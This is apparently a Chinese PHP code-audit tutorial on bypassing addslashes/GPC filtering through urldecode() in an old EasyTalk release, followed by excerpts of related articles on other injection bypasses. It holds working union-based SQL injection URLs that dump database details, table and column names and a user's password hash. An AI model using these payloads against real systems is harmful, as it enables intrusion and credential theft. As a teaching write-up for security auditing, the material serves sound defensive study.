那些年我们一起挖掘SQL注入 - 2.全局防护Bypass之UrlDecode

0x01 背景

现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号。遇到这种情况我们就需要找一些编码解码的函数来绕过全局防护,这篇文章讲urldecode()的情况,同样大牛请自觉绕道~
漏洞来源于乌云:http://www.wooyun.org/bugs/wooyun-2014-050338

0x02 环境搭建

看背景我们使用了低版本的easytalk程序,版本为X2.4
①源码我打包了一份:http://pan.baidu.com/s/1bopOFNL
②解压到www的easytalk目录下,按照提示一步步安装即可,遇到问题自行百度或谷歌,成功后访问如下图:

0x03 漏洞分析

首先看下源码结构,用的ThinkPHP框架,比较复杂:

有兴趣的可以去研究下再继续往下看,新手可以知道ThinkPHP对接收的参数是有过滤的,并且根据你服务器是否开启GPC会做相应的处理:
1./ThinkPHP/Extend/Library/ORG/Util/Input.class.php文件第266行:

/**    +----------------------------------------------------------    * 如果 magic_quotes_gpc 为关闭状态,这个函数可以转义字符串    +----------------------------------------------------------    * @access public    +----------------------------------------------------------    * @param string $string 要处理的字符串    +----------------------------------------------------------    * @return string    +----------------------------------------------------------    */   static public function addSlashes($string) {       if (!get_magic_quotes_gpc()) {           $string = addslashes($string);       }       return $string;   }

2.使用Seay代码审计系统的全局搜索功能,搜索包含关键字为”urldecode”的文件,发现TopicAction.class.php包含一个对接收的参数keyword进行urldecode并且有sql查询的地方:

3.我们跟进这个php文件,发现接收keyword就对其进行urldecode转码,然后立即带入查询,造成注入:

public function topic(){    $keyword = $this->_get(‘keyword‘, ‘urldecode‘);//使用ThinkPHP框架自带的_get对接收的keyword参数进行urldecode(详见http://doc.thinkphp.cn/manual/get_system_var.html)    if ($keyword) {        $topic = D(‘Topic‘)->where("topicname=‘$keyword‘")->find();//ok,带入查询了        if ($topic) {            $isfollow = D(‘Mytopic‘)->isfollow($topic[‘id‘], $this->my[‘user_id‘]);            $topicusers = D(‘MytopicView‘)->where("topicid=‘$topic[id]‘")->order(‘id desc‘)->limit(9)->select();            $widget = M(‘Topicwidget‘)->where("topicid=‘$topic[id]‘")->order(‘`order` ASC‘)->select();            if ($widget) {                foreach ($widget as $val) {                    $topicwidget[$val[‘widgettype‘]][] = $val;                }            }            $this->assign(‘topicwidget‘, $topicwidget);        } else {            $count = $isfollow = 0;        }

$this->assign(‘comefrom‘, ‘topic‘);        $this->assign(‘keyword‘, $keyword);        $this->assign(‘topic‘, $topic);        $this->assign(‘topicusers‘, $topicusers);        $this->assign(‘isfollow‘, $isfollow);        $this->assign(‘subname‘, ‘#‘ . $keyword . ‘#‘);        $this->display();    } else {        header("location:" . SITE_URL . ‘/?m=topic&a=index‘);    }}

0x04 漏洞证明

1.我们构造获取数据库相关信息的POC:

http://localhost/eazytalk/?m=topic&a=topic&keyword=aaa%2527 and 1=2 union select 1,2,3,concat(database(),0x5c,user(),0x5c,version()),5 %23

成功获取到信息如下:

查看下MySql日志,发现成功执行了sql语句:

2.我们构造获取数据库eazytalk所有表的POC:

http://localhost/eazytalk/?m=topic&a=topic&keyword=aaa%2527 and 1=2 union select 1,2,3, (select GROUP_CONCAT(DISTINCT table_name) from information_schema.tables where table_schema=0x6561737974616C6B),5%23

成功获取所有表信息如下:

4.构造获取表et_users所有字段信息的POC:

http://localhost/eazytalk/?m=topic&a=topic&keyword=aaa%2527 and 1=2 union select 1,2,3, (select GROUP_CONCAT(DISTINCT column_name) from information_schema.columns where table_name=0x65745F7573657273),5%23

成功获取表et_users所有字段信息如下:

5.构造获取et_users表第一条账户的POC:

http://localhost/eazytalk/?m=topic&a=topic&keyword=aaa%2527 and 1=2 union select 1,2,3, (select GROUP_CONCAT(DISTINCT user_name,0x5f,password) from et_users limit 0,1),5%23

成功获取表admin的账户密码如下:

时间: 2024-10-08 15:26:04

那些年我们一起挖掘SQL注入 - 2.全局防护Bypass之UrlDecode的相关文章

【PHP代码审计】 那些年我们一起挖掘SQL注入 - 2.全局防护Bypass之UrlDecode

0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.遇到这种情况我们就需要找一些编码解码的函数来绕过全局防护,这篇文章讲urldecode()的情况,同样大牛请自觉绕道~漏洞来源于乌云:http://www.wooyun.org/bugs/wooyun-2014-050338 0x02 环境搭建 看背景我们使用了低版本的easytalk程序,版本为X2.4①源码

【PHP代码审计】 那些年我们一起挖掘SQL注入 - 3.全局防护Bypass之Base64Decode

0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.同上一篇,我们需要找一些编码解码的函数来绕过全局防护,本篇介绍base64decode()的情况.漏洞来源于乌云:http://www.wooyun.org/bugs/wooyun-2014-050338 0x02 环境搭建 看背景我们使用了低版本的easytalk程序,版本为X2.4①源码我打包了一份:htt

【PHP代码审计】 那些年我们一起挖掘SQL注入 - 4.全局防护Bypass之二次注入

0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.二次注入也是一种比较常见的注入,它涉及到入库和出库.因为有全局转义所以入库的时候: Insert into table (username) values (‘hack\’’); 这样入库后转义符就会消失变成了hack’,这样如果hack’出库被带入查询的话就会成功的引入了单引号导致注入.漏洞来源于乌云:htt

那些年我们一起挖掘SQL注入 - 6.全局防护Bypass之一些函数的错误使用

0x01 背景 PHP程序员在开发过程中难免会使用一些字符替换函数(str_replace).反转义函数(stripslashes),但这些函数使用位置不当就会绕过全局的防护造成SQL注入漏洞. 0x02 漏洞分析 str_replace函数的错误使用 第一种情况是写程序时会使用str_replace函数将参数中的单引号.括号等字符替换为空,这样在一些双条件查询的情况就会引发注入问题.缺陷代码如下: <?phprequire_once('common.php');$conn = mysql_co

【PHP代码审计】 那些年我们一起挖掘SQL注入 - 6.全局防护Bypass之一些函数的错误使用

0x01 背景 PHP程序员在开发过程中难免会使用一些字符替换函数(str_replace).反转义函数(stripslashes),但这些函数使用位置不当就会绕过全局的防护造成SQL注入漏洞. 0x03 漏洞分析 str_replace函数的错误使用 第一种情况是写程序时会使用str_replace函数将参数中的单引号.括号等字符替换为空,这样在一些双条件查询的情况就会引发注入问题.缺陷代码如下: <?phprequire_once('common.php');$conn = mysql_co

那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入

0x01 背景 首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞.具体原理如下:1.正常情况下当GPC开启或使用addslashes函数过滤GET或POST提交的参数时,黑客使用的单引号 ' 就会被转义为: \':2.但如果存在宽字节注入,我们输入%df%27时首先经过上面提到的单引号转义变成了%df%5c%27(%5c是反斜杠\),之后在数据库查询前由于使用了GBK多

【PHP代码审计】 那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入

0x01 背景 首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞.具体原理如下:1.正常情况下当GPC开启或使用addslashes函数过滤GET或POST提交的参数时,黑客使用的单引号 ‘ 就会被转义为: \’:2.但如果存在宽字节注入,我们输入%df%27时首先经过上面提到的单引号转义变成了%df%5c%27(%5c是反斜杠\),之后在数据库查询前由于使用了GBK多

【PHP代码审计】 那些年我们一起挖掘SQL注入 - 8.全局防护盲点的总结下篇

0x01 背景 现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义.但仅仅使用这样的防护是存在很多盲点的,接上篇http://www.cnbraid.com/2016/05/10/sql6/,这里介绍另外两种情况.盲点如下:①FILES注入,全局只转义掉GET.POST等传来的参数,遗漏了FILES:②变量覆盖,危险函数:extract().parse_str().$$. 0x02 漏洞分析 FILES注入 FILES注入一般情

【PHP代码审计】 那些年我们一起挖掘SQL注入 - 7.全局防护盲点的总结上篇

0x01 背景 现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义.但仅仅使用这样的防护是存在很多盲点的,比如最经典的整型参数传递,也即被带入数据库查询的参数是整型.数组中的key没过滤被带入了查询以及全局过滤了GET.POST但没过滤SERVER或COOKIE引发的注入.所以看似有全局防护,实则隐藏了很多“后门”-盲点如下:①注入点类似id=1这种整型的参数就会完全无视GPC的过滤:②注入点包含键值对的,那么这里只检测了val